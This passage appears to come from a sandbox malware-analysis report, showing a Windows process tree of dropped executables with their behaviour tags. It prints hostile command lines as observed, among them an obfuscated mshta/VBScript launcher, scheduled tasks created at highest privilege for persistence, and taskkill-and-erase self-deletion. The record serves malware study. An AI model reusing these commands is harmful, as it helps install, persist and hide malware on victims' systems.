    PID:9564
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9504
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9840
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:7788
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10192
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:4896
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:8032
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:9852
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10248
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10352
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10456
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10600
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10788
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10904
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:11016
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:11236
- - C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    C:\Users\Admin\Documents\UXX8T9lWxW1XQlRN0bdt1kt2.exe
    3⤵
    PID:10336
- C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
  "C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe"
  2⤵
  - Executes dropped EXE
  PID:968
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:796
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2384
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:1044
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2176
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2688
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2576
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3428
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3912
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3208
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3688
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:4064
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2868
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3356
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3780
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3936
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:4452
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:4848
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2116
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:4600
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2252
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:4184
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2248
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2776
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:5216
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:5620
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6016
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3108
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:5788
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:5540
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:5156
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6040
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6140
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6156
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6468
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6828
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:7160
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:6524
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3352
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2172
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3496
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:2128
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:15056
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:14572
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:14880
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:14416
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:15064
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:13624
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:3240
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3240 -s 1068
      4⤵
      Program crash
      PID:15692
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:1020
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:12180
- - C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    C:\Users\Admin\Documents\HLQhcpaaQwaE1JzwJIsESVaf.exe
    3⤵
    PID:11744
- C:\Users\Admin\Documents\BId45dG6Le0J4u06BXMdwhCR.exe
  "C:\Users\Admin\Documents\BId45dG6Le0J4u06BXMdwhCR.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:912
- C:\Users\Admin\Documents\VvsmuBzVkF4TxH02dDqTO4Jh.exe
  "C:\Users\Admin\Documents\VvsmuBzVkF4TxH02dDqTO4Jh.exe"
  2⤵
  - Executes dropped EXE
  PID:1344
- C:\Users\Admin\Documents\7DayJy27QAwqg71nswsiYAPs.exe
  "C:\Users\Admin\Documents\7DayJy27QAwqg71nswsiYAPs.exe"
  2⤵
  - Executes dropped EXE
  PID:836
- - C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX0\KBAvfsr.exe"
    3⤵
    PID:7364
- C:\Users\Admin\Documents\ci1LkzGjtk1ql_cPHyoRvCsR.exe
  "C:\Users\Admin\Documents\ci1LkzGjtk1ql_cPHyoRvCsR.exe"
  2⤵
  - Executes dropped EXE
  PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\45490896259.exe"
    3⤵
    PID:1164
  - - C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\45490896259.exe
      "C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\45490896259.exe"
      4⤵
      PID:2512
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\34174556479.exe" /mix
    3⤵
    - Executes dropped EXE
    PID:2364
  - - C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\34174556479.exe
      "C:\Users\Admin\AppData\Local\Temp\{lqzt-SygLI-pDEY-xLRNx}\34174556479.exe" /mix
      4⤵
      PID:2760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "ci1LkzGjtk1ql_cPHyoRvCsR.exe" /f & erase "C:\Users\Admin\Documents\ci1LkzGjtk1ql_cPHyoRvCsR.exe" & exit
    3⤵
    PID:4576
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "ci1LkzGjtk1ql_cPHyoRvCsR.exe" /f
      4⤵
      Kills process with taskkill
      PID:7276
- C:\Users\Admin\Documents\iqUrT13rCcCDBIvqbMh7mo2F.exe
  "C:\Users\Admin\Documents\iqUrT13rCcCDBIvqbMh7mo2F.exe"
  2⤵
  - Executes dropped EXE
  PID:1324
- - C:\Users\Admin\Documents\iqUrT13rCcCDBIvqbMh7mo2F.exe
    "C:\Users\Admin\Documents\iqUrT13rCcCDBIvqbMh7mo2F.exe"
    3⤵
    PID:4900
- C:\Users\Admin\Documents\da65mmlD3HPDm7_nzyyAvXCo.exe
  "C:\Users\Admin\Documents\da65mmlD3HPDm7_nzyyAvXCo.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1532
- C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe
  "C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe"
  2⤵
  - Executes dropped EXE
  PID:904
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))
    3⤵
    PID:4100
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\KsTJC2JMMK5ZmjbfkEsyYCbZ.exe" ) do taskkill /iM "%~NXm" -F
      4⤵
      PID:8376
    - - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /iM "KsTJC2JMMK5ZmjbfkEsyYCbZ.exe" -F
        5⤵
        Kills process with taskkill
        
        PID:8568
    - - C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE
        
        IQ0v_FE_.ExE -poRsuYEMryiLi
        5⤵
        
        PID:8560
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if ""-poRsuYEMryiLi""== """" for %m in ( ""C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))
        6⤵
        
        PID:8656
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if "-poRsuYEMryiLi"== "" for %m in ("C:\Users\Admin\AppData\Local\Temp\IQ0V_Fe_.eXE" ) do taskkill /iM "%~NXm" -F
        7⤵
        
        PID:8872
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh
        6⤵
        
        PID:9744
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\System32\rundll32.exe" VHTDDahA.G,XBvVyh
    3⤵
    PID:10196
- C:\Users\Admin\Documents\bhQhrafoFEtidIZblKt90bck.exe
  "C:\Users\Admin\Documents\bhQhrafoFEtidIZblKt90bck.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Modifies system certificate store
  PID:1176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2708
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
    3⤵
    - Creates scheduled task(s)
    PID:2780
- C:\Users\Admin\Documents\keND9O1lkTVoivgzClLqquVD.exe
  "C:\Users\Admin\Documents\keND9O1lkTVoivgzClLqquVD.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:1972
- C:\Users\Admin\Documents\gYulYDtqrwthN7a_GYQ1KV1Q.exe
  "C:\Users\Admin\Documents\gYulYDtqrwthN7a_GYQ1KV1Q.exe"
  2⤵
  - Executes dropped EXE
  - Checks BIOS information in registry
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  PID:832
- C:\Users\Admin\Documents\7UnzbMxhtYZuzAplsGhUciSw.exe
  "C:\Users\Admin\Documents\7UnzbMxhtYZuzAplsGhUciSw.exe"
  2⤵
  - Executes dropped EXE
  PID:1956
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\24674301360.exe"
    3⤵
    PID:3036
  - - C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\24674301360.exe
      "C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\24674301360.exe"
      4⤵
      PID:2080
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\15336314641.exe" /mix
    3⤵
    PID:1272
  - - C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\15336314641.exe
      "C:\Users\Admin\AppData\Local\Temp\{APHy-HWwAj-GZ4S-VVAtk}\15336314641.exe" /mix
      4⤵
      PID:6700
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /im "7UnzbMxhtYZuzAplsGhUciSw.exe" /f & erase "C:\Users\Admin\Documents\7UnzbMxhtYZuzAplsGhUciSw.exe" & exit
    3⤵
    PID:2720
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /im "7UnzbMxhtYZuzAplsGhUciSw.exe" /f
      4⤵
      Kills process with taskkill
      PID:5460
- C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
  "C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe"
  2⤵
  - Executes dropped EXE
  PID:112
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1760
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2280
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1868
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2332
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2412
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1816
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3268
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3628
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4032
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3380
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3936
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2836
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3132
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1592
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4228
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4752
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4640
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4216
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4328
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4572
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5196
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5588
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5964
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5364
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2068
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5492
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5988
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5820
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6128
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6212
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
